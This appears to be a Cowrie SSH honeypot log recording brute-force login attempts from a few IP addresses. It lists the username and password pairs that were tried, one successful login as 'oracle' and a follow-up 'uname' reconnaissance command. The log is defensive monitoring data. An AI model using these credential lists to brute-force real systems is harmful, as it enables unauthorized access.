{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":20350,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ba4597676b2","protocol":"ssh","message":"New connection: 5.196.136.131:20350 (10.17.0.5:22) [session: 5ba4597676b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:52.157977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:52.161714Z","src_ip":"5.196.136.131","session":"5ba4597676b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:52.238144Z","src_ip":"5.196.136.131","session":"5ba4597676b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:52.467344Z","src_ip":"5.196.136.131","session":"5ba4597676b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:52.664565Z","src_ip":"5.196.136.131","session":"5ba4597676b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:52.667041Z","src_ip":"5.196.136.131","session":"5ba4597676b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:52.745229Z","src_ip":"5.196.136.131","session":"5ba4597676b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:52.749201Z","src_ip":"5.196.136.131","session":"5ba4597676b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":53727,"dst_ip":"10.17.0.5","dst_port":22,"session":"46f0625b2cf5","protocol":"ssh","message":"New connection: 5.196.136.131:53727 (10.17.0.5:22) [session: 46f0625b2cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:56.624909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:56.628402Z","src_ip":"5.196.136.131","session":"46f0625b2cf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:56.704046Z","src_ip":"5.196.136.131","session":"46f0625b2cf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:56.932636Z","src_ip":"5.196.136.131","session":"46f0625b2cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:58.011521Z","src_ip":"5.196.136.131","session":"46f0625b2cf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":14281,"dst_ip":"10.17.0.5","dst_port":22,"session":"05e5d04a6b8b","protocol":"ssh","message":"New connection: 5.196.136.131:14281 (10.17.0.5:22) [session: 05e5d04a6b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:01.077635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:01.080696Z","src_ip":"5.196.136.131","session":"05e5d04a6b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:01.156534Z","src_ip":"5.196.136.131","session":"05e5d04a6b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:01.386022Z","src_ip":"5.196.136.131","session":"05e5d04a6b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:02.465379Z","src_ip":"5.196.136.131","session":"05e5d04a6b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.125.165.132","src_port":53024,"dst_ip":"10.17.0.5","dst_port":22,"session":"47d2944483f6","protocol":"ssh","message":"New connection: 113.125.165.132:53024 (10.17.0.5:22) [session: 47d2944483f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:04.220213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:04.224765Z","src_ip":"113.125.165.132","session":"47d2944483f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:04.479364Z","src_ip":"113.125.165.132","session":"47d2944483f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":44012,"dst_ip":"10.17.0.5","dst_port":22,"session":"13526f9fdd27","protocol":"ssh","message":"New connection: 5.196.136.131:44012 (10.17.0.5:22) [session: 13526f9fdd27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:05.481783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:05.485916Z","src_ip":"5.196.136.131","session":"13526f9fdd27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roots","password":"123456","message":"login attempt [roots/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:05.530981Z","src_ip":"113.125.165.132","session":"47d2944483f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:05.564970Z","src_ip":"5.196.136.131","session":"13526f9fdd27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:05.823452Z","src_ip":"5.196.136.131","session":"13526f9fdd27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:06.788310Z","src_ip":"113.125.165.132","session":"47d2944483f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:06.902681Z","src_ip":"5.196.136.131","session":"13526f9fdd27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":15674,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3d19186cbad","protocol":"ssh","message":"New connection: 5.196.136.131:15674 (10.17.0.5:22) [session: a3d19186cbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:10.004224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:10.008879Z","src_ip":"5.196.136.131","session":"a3d19186cbad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:10.083675Z","src_ip":"5.196.136.131","session":"a3d19186cbad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:10.309033Z","src_ip":"5.196.136.131","session":"a3d19186cbad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:11.386690Z","src_ip":"5.196.136.131","session":"a3d19186cbad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":59609,"dst_ip":"10.17.0.5","dst_port":22,"session":"924f85613fab","protocol":"ssh","message":"New connection: 5.196.136.131:59609 (10.17.0.5:22) [session: 924f85613fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:14.636868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:14.640472Z","src_ip":"5.196.136.131","session":"924f85613fab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:14.723755Z","src_ip":"5.196.136.131","session":"924f85613fab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:14.974631Z","src_ip":"5.196.136.131","session":"924f85613fab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:16.060853Z","src_ip":"5.196.136.131","session":"924f85613fab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":32401,"dst_ip":"10.17.0.5","dst_port":22,"session":"a636f6eb87cf","protocol":"ssh","message":"New connection: 5.196.136.131:32401 (10.17.0.5:22) [session: a636f6eb87cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:19.047897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:19.051370Z","src_ip":"5.196.136.131","session":"a636f6eb87cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:19.133528Z","src_ip":"5.196.136.131","session":"a636f6eb87cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.123.141.251","src_port":43762,"dst_ip":"10.17.0.5","dst_port":22,"session":"3be71373a179","protocol":"ssh","message":"New connection: 121.123.141.251:43762 (10.17.0.5:22) [session: 3be71373a179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:19.293588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:19.297344Z","src_ip":"121.123.141.251","session":"3be71373a179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:19.396186Z","src_ip":"5.196.136.131","session":"a636f6eb87cf","protocol":"ssh"}
